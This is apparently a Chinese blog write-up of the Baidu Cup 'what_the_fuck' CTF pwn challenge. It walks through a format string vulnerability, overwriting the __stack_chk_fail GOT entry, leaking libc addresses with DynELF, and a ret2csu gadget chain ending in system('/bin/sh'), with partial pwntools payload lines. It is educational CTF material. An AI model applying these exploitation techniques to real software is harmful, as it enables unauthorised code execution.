百度杯十二月 what_the

对于这道题，我还真的想说 what_the_fuck ！！

这道题拿到就只发觉一个格式化字符串漏洞，其他的就找不到了。

 unsigned __int64 sub_4008C5()

 {

   char s; // [rsp+0h] [rbp-20h]

   unsigned __int64 v2; // [rsp+18h] [rbp-8h]

   v2 = __readfsqword(0x28u);

   printf("leave a msg: ");

   memset(&s, , 0x10uLL);

   read(, &s, 0x20uLL);

   if ( strstr(&s, "%p") || strstr(&s, "$p") )

   {

     puts("do you want to leak info?");

     exit();

   }

   printf(&s, "$p"); //漏洞所在

   return __readfsqword(0x28u) ^ v2;

 }

还是找了网上的wp 一边学，一边复现，这里总接下所学的。

看到这些这有一个格式化字符串漏洞，又开启了canary，可以先考虑覆盖__stack_chk_fail指向main，这样就可以利用溢出，无限往栈里写东西。

首先，在ida或者gdb调试中，把name和msg在栈中是第几个参数找出来，在64位的程序中，在64位的文件中，printf传参：现一般规则为，当参数少于7个时，参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

 payload=l64(0x601020)                 

 fd.recvuntil('input your name: ')

 fd.send(payload)

 fd.recvuntil('leave a msg: ')

 payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'

 payload+='\x00'*(0x18-len(payload))

 payload+=l64(0x601040)

用%.sum$n 往栈里的指针参数写东西时，sum代表的是sum+1个参数。

.got.plt: off_601020 dq offset __stack_chk_fail

got.plt: off_601040 dq offset read ; DATA XREF: _read↑r

%9$s%10$ld 这里输出了第一次main函数的ebp，还有read函数的地址

然后可以构建一个leak函数，利用pwn的DynELF（）找出system函数。这些题目给有给出libc的时候可以考虑下。

这样就知道system和read的地址了，接下来就是构建栈的结构，执行read(0,addr,size) 写入/bin/sh +'\x00'+system, 然后system（/bin/sh）开启shell，关于read的参数可以利用init里面的

 text:0000000000400A60 loc_400A60:                             ; CODE XREF: init+↓j

 .text:0000000000400A60                 mov     rdx, r13

 .text:0000000000400A63                 mov     rsi, r14

 .text:0000000000400A66                 mov     edi, r15d

 .text:0000000000400A69                 call    qword ptr [r12+rbx*]

 .text:0000000000400A6D                 add     rbx,

 .text:0000000000400A71                 cmp     rbx, rbp

 .text:0000000000400A74                 jnz     short loc_400A60

 .text:0000000000400A76

 .text:0000000000400A76 loc_400A76:                             ; CODE XREF: init+↑j

 .text:0000000000400A76                 add     rsp,

 .text:0000000000400A7A                 pop     rbx

 .text:0000000000400A7B                 pop     rbp

 .text:0000000000400A7C                 pop     r12

 .text:0000000000400A7E                 pop     r13

 .text:0000000000400A80                 pop     r14

 .text:0000000000400A82                 pop     r15

 .text:0000000000400A84                 retn

 .text:0000000000400A84 ; } // starts at 400A20

接下来就是构建栈，

首先在第二次就开始布局，这里就不多说了 https://www.cnblogs.com/shangye/p/6209008.html 这个大佬里面很详细。

下面我只讲一些在理解的时候出现的问题，就是在执行call的时候会把rip push 进栈中。就是忘了这个，，搞了大半天。一个个参数调试，烦死了

巴特西

百度杯十二月 what_the_fuck

最新文章

热门文章

巴特西

百度杯 十二月 what_the_fuck

最新文章

热门文章

百度杯十二月 what_the_fuck